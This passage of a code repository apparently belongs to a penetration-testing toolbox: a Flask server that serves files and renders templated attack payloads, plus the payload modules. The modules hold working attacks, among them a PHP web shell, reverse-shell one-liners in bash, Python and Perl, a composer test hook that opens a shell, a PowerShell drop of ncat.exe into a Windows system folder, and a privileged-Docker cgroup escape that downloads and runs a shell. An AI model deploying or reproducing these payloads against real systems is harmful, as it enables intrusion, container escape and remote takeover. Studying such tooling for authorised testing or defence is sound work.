 20 | from datetime import datetime
 21 | 
 22 | ServerPath = str
 23 | LocalPath = Path
 24 | ServerPathMap = Mapping[ServerPath, LocalPath]
 25 | Bytes = int
 26 | 
 27 | 
 28 | @dataclass
 29 | class ServerDirectoryItem:
 30 |     server_path: ServerPath
 31 |     name: str
 32 |     modified_at: str
 33 |     size: Bytes
 34 |     is_dir: str
 35 |     is_file: str
 36 | 
 37 | 
 38 | @dataclass
 39 | class ServerInvalidFilePath:
 40 |     pass
 41 | 
 42 | 
 43 | @dataclass
 44 | class ServerDirectoryListing:
 45 |     user_files: List[ServerDirectoryItem]
 46 |     toolbox_files: List[ServerDirectoryItem]
 47 |     server_path: ServerPath
 48 | 
 49 | 
 50 | @dataclass
 51 | class ServerFileResult:
 52 |     local_path: LocalPath
 53 |     content: bytes
 54 | 
 55 | 
 56 | ServerResponse = Union[ServerInvalidFilePath, ServerDirectoryListing, ServerFileResult]
 57 | 
 58 | 
 59 | def as_server_directory_item(server_path, local_path) -> ServerDirectoryItem:
 60 |     stat = local_path.stat()
 61 |     return ServerDirectoryItem(
 62 |         server_path=server_path,
 63 |         name=Path(server_path).name,
 64 |         modified_at=datetime.fromtimestamp(stat.st_mtime),
 65 |         size=stat.st_size,
 66 |         is_dir=local_path.is_dir(),
 67 |         is_file=local_path.is_file(),
 68 |     )
 69 | 
 70 | 
 71 | class ServerConfig:
 72 |     def __init__(
 73 |         self, root_toolbox_directory: str, config_path: str, file_manager: FileManager
 74 |     ):
 75 |         self.root_toolbox_directory = root_toolbox_directory
 76 |         self.file_manager: FileManager = file_manager
 77 |         self.server_files: ServerPathMap = self._parse_config(config_path)
 78 | 
 79 |     def get_local_path(self, server_path: ServerPath) -> Optional[LocalPath]:
 80 |         return self.server_files.get(server_path, None)
 81 | 
 82 |     def items(self):
 83 |         return self.server_files.items()
 84 | 
 85 |     def server_paths(self) -> List[ServerPath]:
 86 |         return self.server_files.keys()
 87 | 
 88 |     def _parse_config(self, config_path: str) -> ServerPathMap:
 89 |         server_files = {}
 90 |         with self.file_manager.open_toolbox_file(config_path) as config_file:
 91 |             config = json.load(config_file)
 92 | 
 93 |         for config_value in config["server"]:
 94 |             server_path = config_value["server_path"]
 95 |             local_path = config_value["local_path"]
 96 |             if server_path in server_files:
 97 |                 raise ValueError(
 98 |                     f"Duplicate server_path '{server_path}' for local_path '{local_path}'"
 99 |                 )
100 |             local_path = self.root_toolbox_directory / local_path
101 |             if not local_path.exists():
102 |                 raise ValueError(f"local_path '{local_path}' does not exist.")
103 | 
104 |             server_files[server_path] = Path(local_path)
105 |         return server_files
106 | 
107 | 
108 | def removeprefix(self: str, prefix: str) -> str:
109 |     if self.startswith(prefix):
110 |         return self[len(prefix) :]
111 |     else:
112 |         return self[:]
113 | 
114 | 
115 | class UserFileServer:
116 |     def __init__(self, server_config: ServerConfig):
117 |         self.server_config = server_config
118 |         self.file_manager = server_config.file_manager
119 | 
120 |     def serve_user_file_or_folder(self, server_path: ServerPath):
121 |         """
122 |         Serve a file or folder from user specified files
123 | 
124 |         If the given file or folder does not exist, a 404 is returned
125 |         """
126 |         root_user_directory = Path(current_app.config["ROOT_USER_DIRECTORY"])
127 |         local_path = (root_user_directory / server_path).resolve()
128 | 
129 |         def calculate_file_server_path_func(file_path: Path) -> ServerPath:
130 |             return f"/{file_path.relative_to(root_user_directory).as_posix()}"
131 | 
132 |         return self._serve_file_or_folder(
133 |             local_path, server_path, calculate_file_server_path_func
134 |         )
135 | 
136 |     # TODO: Split out user / toolbox files, this does both currently
137 |     def _serve_file_or_folder(
138 |         self,
139 |         local_path: LocalPath,
140 |         server_path: ServerPath,
141 |         calculate_file_server_path_func,
142 |     ) -> ServerResponse:
143 |         """
144 |         Attempts to serve the given file or directory to the user.
145 | 
146 |         If the local_path is a file, it sends a file to the user.
147 |         If the local_path is a folder, it renders the directory contents
148 | 
149 |         To guard against arbitrary reads - the local_path must exist within the
150 |         restrict_to_path argument, otherwise a ServerInvalidFilePath object is returned.
151 |         """
152 | 
153 |         valid_child_path = (
154 |             self.file_manager.is_allowed_user_file_path(local_path)
155 |         ) and local_path.exists()
156 |         if not valid_child_path:
157 |             return ServerInvalidFilePath()
158 | 
159 |         if local_path.is_file():
160 |             return self._read_user_file(local_path)
161 |         elif local_path.is_dir():
162 |             files = []
163 |             for child_path in local_path.iterdir():
164 |                 files.append(
165 |                     as_server_directory_item(
166 |                         server_path=calculate_file_server_path_func(child_path),
167 |                         local_path=child_path,
168 |                     )
169 |                 )
170 |             files.sort(key=lambda file: (file.is_file, file.name))
171 | 
172 |             return ServerDirectoryListing(
173 |                 user_files=files,
174 |                 toolbox_files=self._get_toolbox_files(),
175 |                 server_path=server_path,
176 |             )
177 |         else:
178 |             return ServerInvalidFilePath()
179 | 
180 |     def _get_toolbox_files(self) -> List[ServerDirectoryItem]:
181 |         toolbox_files = []
182 |         for server_path, local_path in self.server_config.items():
183 |             toolbox_files.append(
184 |                 as_server_directory_item(server_path=server_path, local_path=local_path)
185 |             )
186 |         toolbox_files.sort(key=lambda file: (file.is_file, file.name))
187 | 
188 |         return toolbox_files
189 | 
190 |     def _read_user_file(self, local_path: LocalPath):
191 |         """
192 |         Responds with the current file if it exists as a file
193 |         """
194 |         is_valid_path = (
195 |             self.file_manager.is_allowed_user_file_path(local_path)
196 |             and local_path.exists()
197 |             and local_path.is_file()
198 |         )
199 |         if not is_valid_path:
200 |             return ServerInvalidFilePath()
201 | 
202 |         with self.file_manager.open_user_file(local_path, "rb") as file:
203 |             content = file.read()
204 |             return ServerFileResult(local_path=local_path, content=content)
205 | 
206 |         return ServerInvalidFilePath()
207 | 
208 | 
209 | class ToolboxFileServer:
210 |     def __init__(self, server_config: ServerConfig):
211 |         self.server_config = server_config
212 |         self.file_manager = server_config.file_manager
213 | 
214 |     def serve_toolbox_file_or_folder(self, server_path: ServerPath):
215 |         """
216 |         Serve an inbuilt / custom configured file or folder.
217 | 
218 |         If the given file or folder does not exist, None is returned
219 |         """
220 |         # First test if the file can be found as a direct mapping
221 |         server_path_namespace = None
222 |         local_path_mapping = self.server_config.get_local_path("/" + server_path)
223 | 
224 |         # There may not be a local file found, but test if it exists as a namespace
225 |         if local_path_mapping is None:
226 |             server_path_namespace = server_path.split("/")[0]
227 |             local_path_mapping = self.server_config.get_local_path(
228 |                 "/" + server_path_namespace
229 |             )
230 | 
231 |         if local_path_mapping is None:
232 |             return None
233 | 
234 |         local_path = None
235 |         if server_path_namespace is None:
236 |             local_path = local_path_mapping
237 |         else:
238 |             relative_path = removeprefix(server_path, server_path_namespace)
239 |             if relative_path[0] == "/":
240 |                 relative_path = relative_path[1:]
241 |             local_path = (local_path_mapping / relative_path).resolve()
242 | 
243 |         def calculate_file_server_path_func(file_path: Path):
244 |             server_path_prefix = None
245 |             if server_path_namespace is None:
246 |                 server_path_prefix = f"/{server_path}/"
247 |             else:
248 |                 server_path_prefix = f"/{server_path_namespace}/"
249 | 
250 |             return f"{server_path_prefix}{str(file_path.relative_to(local_path_mapping).as_posix())}"
251 | 
252 |         return self._serve_file_or_folder(
253 |             local_path,
254 |             server_path,
255 |             calculate_file_server_path_func,
256 |         )
257 | 
258 |     def _serve_file_or_folder(
259 |         self,
260 |         local_path: LocalPath,
261 |         server_path: ServerPath,
262 |         calculate_file_server_path_func,
263 |     ) -> ServerResponse:
264 |         """
265 |         Attempts to serve the given file or directory to the user.
266 | 
267 |         If the local_path is a file, it sends a file to the user.
268 |         If the local_path is a folder, it renders the directory contents
269 | 
270 |         To guard against arbitrary reads - the local_path must exist within the
271 |         restrict_to_path argument, otherwise a ServerInvalidFilePath object is returned.
272 |         """
273 | 
274 |         valid_child_path = (
275 |             self.file_manager.is_allowed_toolbox_file_path(local_path)
276 |         ) and local_path.exists()
277 |         if not valid_child_path:
278 |             return ServerInvalidFilePath()
279 | 
280 |         if local_path.is_file():
281 |             return self._read_toolbox_file(local_path)
282 |         elif local_path.is_dir():
283 |             files = []
284 |             for child_path in local_path.iterdir():
285 |                 files.append(
286 |                     as_server_directory_item(
287 |                         server_path=calculate_file_server_path_func(child_path),
288 |                         local_path=child_path,
289 |                     )
290 |                 )
291 | 
292 |             return ServerDirectoryListing(
293 |                 user_files=files,
294 |                 toolbox_files=self._get_toolbox_files(),
295 |                 server_path=server_path,
296 |             )
297 |         else:
298 |             return ServerInvalidFilePath()
299 | 
300 |     def _get_toolbox_files(self) -> List[ServerDirectoryItem]:
301 |         toolbox_files = []
302 |         for server_path, local_path in self.server_config.items():
303 |             toolbox_files.append(
304 |                 as_server_directory_item(server_path=server_path, local_path=local_path)
305 |             )
306 | 
307 |         toolbox_files.sort(key=lambda file: file.name)
308 |         return toolbox_files
309 | 
310 |     def _read_toolbox_file(self, local_path: LocalPath):
311 |         """
312 |         Responds with the current file if it exists as a file
313 |         """
314 |         is_valid_path = (
315 |             self.file_manager.is_allowed_toolbox_file_path(local_path)
316 |             and local_path.exists()
317 |             and local_path.is_file()
318 |         )
319 |         if not is_valid_path:
320 |             return ServerInvalidFilePath()
321 | 
322 |         is_allowed_path = any(
323 |             allowed_local_path in local_path.parents or allowed_local_path == local_path
324 |             for _server_path, allowed_local_path in self.server_config.items()
325 |         )
326 |         if not is_allowed_path:
327 |             return ServerInvalidFilePath()
328 | 
329 |         with self.file_manager.open_toolbox_file(local_path, "rb") as file:
330 |             content = file.read()
331 |             return ServerFileResult(local_path=local_path, content=content)
332 | 
333 |         return ServerInvalidFilePath()
334 | 
335 | 
336 | class FileServer:
337 |     def __init__(self, server_config: ServerConfig):
338 |         self.server_config = server_config
339 |         self.file_manager = server_config.file_manager
340 | 
341 |     def serve(self, server_path: ServerPath):
342 |         toolbox_file_server = ToolboxFileServer(server_config=self.server_config)
343 |         toolbox_file = toolbox_file_server.serve_toolbox_file_or_folder(server_path)
344 |         if toolbox_file is not None:
345 |             return toolbox_file
346 | 
347 |         user_file_server = UserFileServer(server_config=self.server_config)
348 |         return user_file_server.serve_user_file_or_folder(server_path)
349 | 


--------------------------------------------------------------------------------
/toolbox/server/formatters.py:
--------------------------------------------------------------------------------
 1 | import math
 2 | from datetime import datetime
 3 | 
 4 | 
 5 | def pretty_date(date, now=None):
 6 |     if now == None:
 7 |         now = datetime.now()
 8 |     difference = now - date
 9 | 
10 |     seconds = difference.total_seconds()
11 |     if seconds < 60:
12 |         return f"{math.floor(seconds)} seconds ago"
13 |     elif seconds < 3600:
14 |         return f"{math.floor(seconds / 60)} minutes ago"
15 |     elif seconds < (3600 * 24):
16 |         return f"{math.floor(seconds / 3600)} hours ago"
17 |     else:
18 |         return f"{difference.days} days ago"
19 | 


--------------------------------------------------------------------------------
/toolbox/server/interfaces.py:
--------------------------------------------------------------------------------
 1 | try:
 2 |     import netifaces
 3 |     MissingDependencies = False
 4 | except ModuleNotFoundError:
 5 |     MissingDependencies = True
 6 | 
 7 | import ipaddress
 8 | from typing import Optional
 9 | 
10 | class NoopImplementation:
11 |     def allowed_interfaces(self):
12 |         return ["lo"]
13 | 
14 |     def get_ip_address(self, interface: str) -> Optional[str]:
15 |         return "127.0.0.1"
16 | 
17 |     def is_valid_ipv4_address(self, ip: str) -> bool:
18 |         return True
19 | 
20 | class NetifacesImplementation:
21 |     def allowed_interfaces(self):
22 |         return ["tun0", "tun1", "lo", "lo0"]
23 | 
24 |     def get_ip_address(self, interface: str) -> Optional[str]:
25 |         try:
26 |             return netifaces.ifaddresses(interface)[netifaces.AF_INET][0]["addr"]
27 |         except (KeyError, ValueError):
28 |             return None
29 | 
30 |     def is_valid_ipv4_address(self, ip: str) -> bool:
31 |         try:
32 |             ipaddress.ip_address(ip)
33 |             return True
34 |         except ValueError:
35 |             return False
36 | 
37 | 
38 | if MissingDependencies:
39 |     implementation = NoopImplementation()
40 | else:
41 |     implementation = NetifacesImplementation()
42 | 
43 | def allowed_interfaces():
44 |     return implementation.allowed_interfaces()
45 | 
46 | def get_ip_address(interface: str) -> Optional[str]:
47 |     return implementation.get_ip_address(interface)
48 | 
49 | def is_valid_ipv4_address(ip: str) -> bool:
50 |     return implementation.is_valid_ipv4_address(ip)
51 | 


--------------------------------------------------------------------------------
/toolbox/server/make_app.py:
--------------------------------------------------------------------------------
  1 | from flask import (
  2 |     Blueprint,
  3 |     Flask,
  4 |     render_template,
  5 |     make_response,
  6 |     app,
  7 |     abort,
  8 |     current_app,
  9 |     request,
 10 |     redirect,
 11 |     url_for,
 12 |     session,
 13 | )
 14 | import logging
 15 | import base64
 16 | from typing import Optional
 17 | from http import HTTPStatus
 18 | from flask_wtf.csrf import CSRFProtect
 19 | from .file_server import (
 20 |     ServerConfig,
 21 |     FileServer,
 22 |     FileManager,
 23 |     ServerInvalidFilePath,
 24 |     ServerDirectoryListing,
 25 |     ServerFileResult,
 26 | )
 27 | from . import formatters
 28 | from .color import Color
 29 | from .payload_generator import PayloadGenerator, TEMPLATE_DIRECTORY
 30 | from flask_wtf.file import FileField, FileRequired
 31 | from werkzeug.security import generate_password_hash, check_password_hash
 32 | from pathlib import Path
 33 | from flask_wtf import FlaskForm
 34 | from wtforms import StringField
 35 | from wtforms.validators import DataRequired
 36 | from dataclasses import dataclass
 37 | from typing import Dict
 38 | import secrets
 39 | from http import HTTPStatus
 40 | from .interfaces import allowed_interfaces, get_ip_address
 41 | from flask_httpauth import HTTPBasicAuth
 42 | 
 43 | 
 44 | class UploadForm(FlaskForm):
 45 |     token_id = StringField("token", validators=[DataRequired()])
 46 |     file = FileField(validators=[FileRequired()])
 47 | 
 48 | 
 49 | class UploadTokenForm(FlaskForm):
 50 |     file_name = StringField("File Name", validators=[DataRequired()])
 51 | 
 52 | 
 53 | UploadTokenId = str
 54 | 
 55 | 
 56 | @dataclass
 57 | class UploadToken:
 58 |     id: UploadTokenId
 59 |     file_name: str
 60 | 
 61 | 
 62 | @dataclass
 63 | class IndexViewModel:
 64 |     payload_generator: PayloadGenerator
 65 |     directory_listing: ServerDirectoryListing
 66 |     upload_token_form: UploadForm
 67 |     upload_token: UploadToken
 68 |     has_uploads_enabled: bool
 69 | 
 70 | 
 71 | @dataclass
 72 | class Credentials:
 73 |     username: str
 74 |     password: str
 75 | 
 76 | 
 77 | class ToolboxServerException(Exception):
 78 |     pass
 79 | 
 80 | 
 81 | upload_tokens: Dict[UploadTokenId, UploadToken] = {}
 82 | 
 83 | server = Blueprint(
 84 |     "serve", __name__, template_folder=TEMPLATE_DIRECTORY, static_folder=None
 85 | )
 86 | server.app_template_filter("pretty_date")(formatters.pretty_date)
 87 | 
 88 | csrf = CSRFProtect()
 89 | auth = HTTPBasicAuth()
 90 | 
 91 | 
 92 | # No login required - shells can be accessed from anywhere
 93 | @server.route("/shells/<name>")
 94 | @server.route("/shells/<name>/<lport>")
 95 | @server.route("/shells/<name>/<lhost>/<lport>")
 96 | def shell(name: str, lhost: Optional[str] = None, lport: Optional[str] = None):
 97 |     payload_generator = PayloadGenerator()
 98 |     payload = payload_generator.generate(name=name, lhost=lhost, lport=lport)
 99 |     if payload is None:
100 |         return abort(HTTPStatus.NOT_FOUND)
101 |     response = make_response(payload)
102 |     response.headers["Content-Type"] = "text/plain"
103 |     return response
104 | 
105 | 
106 | # No login required - debugging can be accessed from anywhere
107 | @server.route("/debug/", defaults={"namespace": None})
108 | @server.route("/debug/<path:namespace>")
109 | def debug(namespace):
110 |     value = request.args.get("value")
111 |     if value:
112 |         try:
113 |             value = base64.b64decode(value)
114 |         except:
115 |             value = f"Unknown base: {value}"
116 |     current_app.logger.info(
117 |         "debug=%s value=%s", Color.green(namespace), Color.green(value)
118 |     )
119 |     return make_response("", HTTPStatus.OK)
120 | 
121 | 
122 | # No login required - uploads must provide a one time token
123 | @server.route("/uploads", methods=["POST"])
124 | @csrf.exempt
125 | def uploads():
126 |     upload_form = UploadForm(meta={"csrf": False})
127 |     if upload_form.validate_on_submit():
128 |         upload_token_id = upload_form.token_id.data
129 |         upload_token = upload_tokens.get(upload_token_id, None)
130 | 
131 |         if upload_token is None:
132 |             return make_response(
133 |                 '{ "error": "token not valid" }\n', HTTPStatus.BAD_REQUEST
134 |             )
135 | 
136 |         file_manager = FileManager(
137 |             root_user_directory=current_app.config["ROOT_USER_DIRECTORY"],
138 |             root_toolbox_directory=current_app.config["ROOT_TOOLBOX_DIRECTORY"],
139 |         )
140 | 
141 |         file = upload_form.file.data
142 |         file_name = upload_token.file_name
143 |         new_file_path = Path(current_app.config["ROOT_USER_DIRECTORY"]) / file_name
144 | 
145 |         if not file_manager.is_allowed_user_file_path(new_file_path):
146 |             return make_response(
147 |                 '{ "error": "invalid path" }\n', HTTPStatus.BAD_REQUEST
148 |             )
149 | 
150 |         with file_manager.open_user_file(new_file_path, "wb") as new_file:
151 |             current_app.logger.info(
152 |                 "Successfully wrote new file %s", Color.green(new_file_path)
153 |             )
154 |             new_file.write(file.read())
155 | 
156 |         upload_tokens.pop(upload_token_id, None)
157 |         return make_response('{ "success": true }\n', HTTPStatus.CREATED)
158 | 
159 |     return make_response(upload_form.errors, HTTPStatus.BAD_REQUEST)
160 | 
161 | 
162 | # No Login required - The root index is accessible so that it can easily serve arbitrary files
163 | @server.route("/", defaults={"server_path": ""}, methods=["GET"])
164 | @server.route("/<path:server_path>", methods=["GET"])
165 | def index(server_path):
166 |     payload_generator = PayloadGenerator()
167 |     file_manager = FileManager(
168 |         root_user_directory=current_app.config["ROOT_USER_DIRECTORY"],
169 |         root_toolbox_directory=current_app.config["ROOT_TOOLBOX_DIRECTORY"],
170 |     )
171 |     server_config = ServerConfig(
172 |         root_toolbox_directory=current_app.config["ROOT_TOOLBOX_DIRECTORY"],
173 |         #  TODO: Remove config path and assume only built in files can be mapped
174 |         config_path=current_app.config["CONFIG_PATH"],
175 |         file_manager=file_manager,
176 |     )
177 |     file_server = FileServer(server_config=server_config)
178 |     server_response = file_server.serve(server_path)
179 | 
180 |     if isinstance(server_response, ServerInvalidFilePath):
181 |         return abort(HTTPStatus.NOT_FOUND)
182 | 
183 |     if isinstance(server_response, ServerFileResult):
184 |         response = make_response(server_response.content)
185 |         response.headers["Content-Type"] = "text/html; charset=utf-8"
186 |         return response
187 | 
188 |     if isinstance(server_response, ServerDirectoryListing):
189 |         formdata = session.get("formdata")
190 |         upload_form = UploadTokenForm(data=formdata)
191 | 
192 |         upload_token = upload_tokens.get(session.get("upload_token_id"))
193 |         session.pop("upload_token_id", None)
194 |         return render_template(
195 |             "views/index.html",
196 |             view_model=IndexViewModel(
197 |                 payload_generator=payload_generator,
198 |                 directory_listing=server_response,
199 |                 upload_token_form=upload_form,
200 |                 upload_token=upload_token,
201 |                 has_uploads_enabled=current_app.config["HAS_UPLOADS_ENABLED"],
202 |             ),
203 |         )
204 | 
205 |     return abort(HTTPStatus.INTERNAL_SERVER_ERROR, f"{str(server_response.__class__)}")
206 | 
207 | 
208 | # No login required - simply redirects to the index page
209 | @server.route("/tokens", methods=["GET"])
210 | def redirected():
211 |     return redirect(url_for("serve.index"))
212 | 
213 | 
214 | # Login required - this page can generate upload tokens
215 | @server.route("/tokens", methods=["POST"])
216 | @auth.login_required
217 | def create_token():
218 |     form = UploadTokenForm()
219 |     upload_token = None
220 |     if form.validate_on_submit():
221 |         upload_token = UploadToken(
222 |             id=secrets.token_hex(16),
223 |             file_name=form.file_name.data,
224 |         )
225 |         upload_tokens[upload_token.id] = upload_token
226 |         session["upload_token_id"] = upload_token.id
227 | 
228 |     session["formdata"] = request.form
229 |     return redirect(url_for("serve.index"))
230 | 
231 | 
232 | def validate_app(app):
233 |     file_manager = FileManager(
234 |         root_user_directory=app.config["ROOT_USER_DIRECTORY"],
235 |         root_toolbox_directory=app.config["ROOT_TOOLBOX_DIRECTORY"],
236 |     )
237 | 
238 |     try:
239 |         ServerConfig(
240 |             root_toolbox_directory=app.config["ROOT_TOOLBOX_DIRECTORY"],
241 |             #  TODO: Remove config path and assume only built in files can be mapped
242 |             config_path=app.config["CONFIG_PATH"],
243 |             file_manager=file_manager,
244 |         )
245 |     except ValueError as e:
246 |         raise ToolboxServerException(
247 |             f"{str(e)}\nConfiguration problem occurred. Ensure that {Color.green('install.sh')} has been run."
248 |         )
249 | 
250 |     return True
251 | 
252 | 
253 | def make_app(
254 |     verbose,
255 |     host,
256 |     port,
257 |     password,
258 |     root_toolbox_directory,
259 |     root_user_directory,
260 |     config_path,
261 |     use_debugger=False,
262 |     use_reloader=False,
263 | ) -> Flask:
264 |     app = Flask(
265 |         __name__,
266 |         static_url_path="/assets",
267 |         static_folder=str(root_toolbox_directory / "toolbox" / "server" / "assets"),
268 |     )
269 |     app.config["ROOT_TOOLBOX_DIRECTORY"] = root_toolbox_directory
270 |     app.config["ROOT_USER_DIRECTORY"] = root_user_directory
271 |     app.config["CONFIG_PATH"] = config_path
272 |     app.config["TEMPLATES_AUTO_RELOAD"] = use_reloader
273 |     app.config["HAS_UPLOADS_ENABLED"] = password is not None
274 |     secret_key = secrets.token_bytes(32)
275 |     app.secret_key = secret_key
276 |     csrf.init_app(app)
277 | 
278 |     if password:
279 |         credentials = Credentials(
280 |             username="", password=generate_password_hash(password)
281 |         )
282 |     else:
283 |         credentials = None
284 | 
285 |     @auth.verify_password
286 |     def verify_password(username, password) -> bool:
287 |         if credentials is None:
288 |             return False
289 |         return check_password_hash(credentials.password, password)
290 | 
291 |     # TODO: Add middleware logging for IP, time, user agent details, highlighting on 404s etc.
292 |     # log = logging.getLogger("werkzeug")
293 |     # log.disabled = True
294 | 
295 |     app.logger.setLevel(logging.INFO)
296 |     app.register_blueprint(server)
297 |     validate_app(app)
298 | 
299 |     return app
300 | 


--------------------------------------------------------------------------------
/toolbox/server/payload_generator.py:
--------------------------------------------------------------------------------
 1 | from flask import (
 2 |     Blueprint,
 3 |     Flask,
 4 |     render_template,
 5 |     make_response,
 6 |     app,
 7 |     abort,
 8 |     current_app,
 9 |     request,
10 |     redirect,
11 |     url_for,
12 | )
13 | from dataclasses import dataclass
14 | from pathlib import Path
15 | from typing import Optional
16 | from pathlib import Path
17 | from .interfaces import get_ip_address, is_valid_ipv4_address, allowed_interfaces
18 | from urllib.parse import urlparse
19 | 
20 | TEMPLATE_DIRECTORY = Path(__file__).parent / "templates"
21 | MODULE_DIRECTORY = TEMPLATE_DIRECTORY / "modules"
22 | 
23 | 
24 | @dataclass
25 | class DataStore:
26 |     lhost: str
27 |     lport: int
28 |     srvhost_domain: str
29 |     srvhost_port: str
30 |     srvhost_url: str
31 | 
32 | 
33 | class PayloadGenerator:
34 |     VALID_INTERFACES = ["tun0", "tun1", "lo", "lo0"]
35 | 
36 |     def __init__(self):
37 |         pass
38 | 
39 |     def generate(
40 |         self, name: str, lhost: Optional[str], lport: Optional[str]
41 |     ) -> Optional[str]:
42 |         if name not in self:
43 |             return None
44 | 
45 |         # TODO: Decide if it would be better to remove render_template and call jinja or similar directly
46 |         payload = render_template(
47 |             f"modules/{name}", datastore=self._get_datastore(lhost, lport)
48 |         )
49 |         return payload
50 | 
51 |     def __contains__(self, name):
52 |         return name in self.module_names
53 | 
54 |     @property
55 |     def module_names(self):
56 |         # TODO: Decide if this should honor jinja's templates_auto_reload mechanism
57 |         return [module.name for module in Path(MODULE_DIRECTORY).iterdir()]
58 | 
59 |     @property
60 |     def default_lport(self) -> int:
61 |         return 4444
62 | 
63 |     @property
64 |     def default_lhost(self) -> str:
65 |         for interface in allowed_interfaces():
66 |             result = get_ip_address(interface)
67 |             if result is not None:
68 |                 return result
69 |         raise ValueError(
70 |             f"Unable to get ip address for default interfaces: '{str.join(allowed_interfaces(), ', ')}'"
71 |         )
72 | 
73 |     def _get_datastore(self, lhost: Optional[str], lport: Optional[str]) -> DataStore:
74 |         srvhost_url = request.host_url
75 |         srvhost_parsed = urlparse(srvhost_url)
76 | 
77 |         return DataStore(
78 |             lhost=(lhost if lhost else self.default_lhost),
79 |             lport=(int(lport) if lport else self.default_lport),
80 |             srvhost_domain=srvhost_parsed.hostname,
81 |             srvhost_port=srvhost_parsed.port,
82 |             srvhost_url=srvhost_url,
83 |         )
84 | 
85 |     def _get_lhost(self, lhost: Optional[str]) -> str:
86 |         if lhost is None:
87 |             return self.default_lhost()
88 | 
89 |         if lhost in allowed_interfaces():
90 |             address = get_ip_address(lhost)
91 |             if address is None:
92 |                 raise ValueError(f"interface not found: '{lhost}'")
93 |             return address
94 | 
95 |         if is_valid_ipv4_address(lhost):
96 |             return lhost
97 | 
98 |         raise ValueError(f"Unexpected lhost: '{lhost}'")
99 | 


--------------------------------------------------------------------------------
/toolbox/server/server.py:
--------------------------------------------------------------------------------
 1 | from werkzeug.serving import run_simple
 2 | from .interfaces import allowed_interfaces, get_ip_address
 3 | from .make_app import make_app, ToolboxServerException
 4 | from .color import Color
 5 | 
 6 | 
 7 | def serve(
 8 |     verbose,
 9 |     host,
10 |     port,
11 |     password,
12 |     root_toolbox_directory,
13 |     root_user_directory,
14 |     config_path,
15 |     use_debugger=False,
16 |     use_reloader=False,
17 | ):
18 |     try:
19 |         app = make_app(
20 |             host=host,
21 |             port=port,
22 |             verbose=verbose,
23 |             password=password,
24 |             root_toolbox_directory=root_toolbox_directory,
25 |             root_user_directory=root_user_directory,
26 |             config_path=config_path,
27 |             use_debugger=use_debugger,
28 |             use_reloader=use_reloader,
29 |         )
30 |     except ToolboxServerException as e:
31 |         print(str(e))
32 |         exit(1)
33 |     available_interfaces = [
34 |         (interface, get_ip_address(interface)) for interface in allowed_interfaces()
35 |     ]
36 | 
37 |     server_details = ""
38 |     server_details += f" * Useful interfaces:\n"
39 |     for (interface, ip) in available_interfaces:
40 |         if ip is not None:
41 |             server_details += (
42 |                 f" * {Color.green(interface).rjust(20)} {Color.green(ip.rjust(20))}\n"
43 |             )
44 | 
45 |     print(server_details)
46 |     run_simple(host, port, app, use_debugger=use_debugger, use_reloader=True)
47 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/cmd.php:
--------------------------------------------------------------------------------
1 | <div>Trigger a reverse shell with: shell.php?cmd=%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F{{datastore.lhost}}%2F{{datastore.lport}}+0%3E%261%27</div>
2 | 
3 | <div>Result:</div>
4 | <pre><?= system($_REQUEST['cmd']) ?></pre>
5 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/composer.json:
--------------------------------------------------------------------------------
1 | {
2 |     "scripts": {
3 |       "test": [
4 |         "bash -c 'bash &>/dev/{{datastore.lhost}}/{{datastore.lport}} <&1' 2>&1"
5 |       ]
6 |     }
7 |   }
8 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/fetch_file.js:
--------------------------------------------------------------------------------
 1 | var http = require("http");
 2 | 
 3 | var options = {
 4 |   host: "{{datastore.srvhost}}",
 5 |   port: Number("{{datastore.srvport}}"),
 6 |   path: "/linpeas.sh",
 7 |   method: "GET",
 8 | };
 9 | 
10 | http
11 |   .get(options, function (res) {
12 |     res.setEncoding("utf8");
13 |     let rawData = "";
14 |     res.on("data", (chunk) => {
15 |       rawData += chunk;
16 |     });
17 |     res.on("end", () => {
18 |       console.log(rawData);
19 |     });
20 |   })
21 |   .on("error", function (e) {
22 |     console.log("error: " + e);
23 |   });
24 | undefined;
25 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/fetch_file.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 |     $ch = curl_init();
 4 |     curl_setopt($ch, CURLOPT_URL, "{{datastore.srvhost_url}}linpeas.sh"),
 5 |     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
 6 |     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 7 | 
 8 |     if(curl_exec($ch) === FALSE) {
 9 |          echo "Error: " . curl_error($ch);
10 |     } else {
11 |          echo curl_exec($ch);
12 |     }
13 | 
14 |     curl_close($ch);
15 | 
16 | ?>
17 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/fetch_file.ps1:
--------------------------------------------------------------------------------
1 | Invoke-WebRequest -Uri {{datastore.srvhost_url}}static/windows/x86/ncat.exe -OutFile 'C:\Windows\System32\spool\drivers\color\ncat.exe'
2 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/one_line_python.py:
--------------------------------------------------------------------------------
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{{datastore.lhost}}", {{datastore.lport}}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/perl.pl:
--------------------------------------------------------------------------------
1 | perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in({{datastore.lport}},inet_aton("{{datastore.lhost}}")))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2 | 


--------------------------------------------------------------------------------
/toolbox/server/templates/modules/privileged_docker_escape.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/sh
 2 | 
 3 | 
 4 | mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 5 | echo 1 > /tmp/cgrp/x/notify_on_release
 6 | host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
 7 | 
 8 | echo "$host_path/cmd" > /tmp/cgrp/release_agent
 9 | echo '#!/bin/sh' > /cmd
10 | echo "wget {{datastore.srvhost_url}}shells/shell.sh/{{datastore.lhost}}/{{datastore.lport}} -O- | /bin/sh" >> /cmd
11 | chmod a+x /cmd
12 | 
